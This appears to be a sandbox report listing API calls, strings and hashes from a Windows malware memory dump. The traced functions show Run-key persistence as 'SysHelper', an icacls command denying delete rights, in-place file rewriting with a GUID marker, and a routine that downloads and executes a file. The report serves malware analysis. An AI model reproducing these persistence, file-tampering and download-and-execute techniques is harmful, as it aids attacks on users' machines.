Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 3ed8a1a3669d6d39586a7b6e0c57ffa9ee090c1b7589115f7d5e4c77d8bb01cd
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 3ed8a1a3669d6d39586a7b6e0c57ffa9ee090c1b7589115f7d5e4c77d8bb01cd
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 311085bb5f21d25cc81269d1f638485d68d47ea2dd31f96a3b3f67442ef4dd82
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 311085bb5f21d25cc81269d1f638485d68d47ea2dd31f96a3b3f67442ef4dd82
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 509ecc960cc5a0a650c521b948fa28dac11c6e9cbd6027afa4de51990dab52af
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 509ecc960cc5a0a650c521b948fa28dac11c6e9cbd6027afa4de51990dab52af
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 0020aaaefdb6c4dcb4bf3e2ceb4008ce88efa9caebdce230c40b083e7cee562a
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 0020aaaefdb6c4dcb4bf3e2ceb4008ce88efa9caebdce230c40b083e7cee562a
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 02e9612f127fb412d77a5d1f2b2faf682c4a1611dcf75e79c66b72e064a0daf3
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02e9612f127fb412d77a5d1f2b2faf682c4a1611dcf75e79c66b72e064a0daf3
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 04da9bceb62567ee9ea63fd532f7055b0187f84fe24f0b4c3da1ae056dfb4d0a
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 04da9bceb62567ee9ea63fd532f7055b0187f84fe24f0b4c3da1ae056dfb4d0a
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 00411DD1
" --AutoStart, xrefs: 004120C2
icacls ", xrefs: 0041214C
SysHelper, xrefs: 00411D5B, 004120EB
D, xrefs: 00412128
SHGetFolderPathW, xrefs: 00411E9F
Shell32.dll, xrefs: 00411E94

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 6a9ffd1a2a2b843033091c9d449c52803308771915f2877ac5893c04e650abc0
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: 6a9ffd1a2a2b843033091c9d449c52803308771915f2877ac5893c04e650abc0
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: f8251a63925e19d8566a178491574f9c79492d0ee078337183e4e88657547f25
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: f8251a63925e19d8566a178491574f9c79492d0ee078337183e4e88657547f25
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

SHGetFolderPathA, xrefs: 0041DCFB
$run, xrefs: 0041DEAB
Microsoft Internet Explorer, xrefs: 0041DEF7
Shell32.dll, xrefs: 0041DCF0
.bit/, xrefs: 0041DF45

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: dccf1df968071b3e0d7b0dff9fb6d3dbed15471850933b955a562a72c41a0671
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: dccf1df968071b3e0d7b0dff9fb6d3dbed15471850933b955a562a72c41a0671
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcesses, xrefs: 00412264, 00412299
EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC
Psapi.dll, xrefs: 0041228C

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
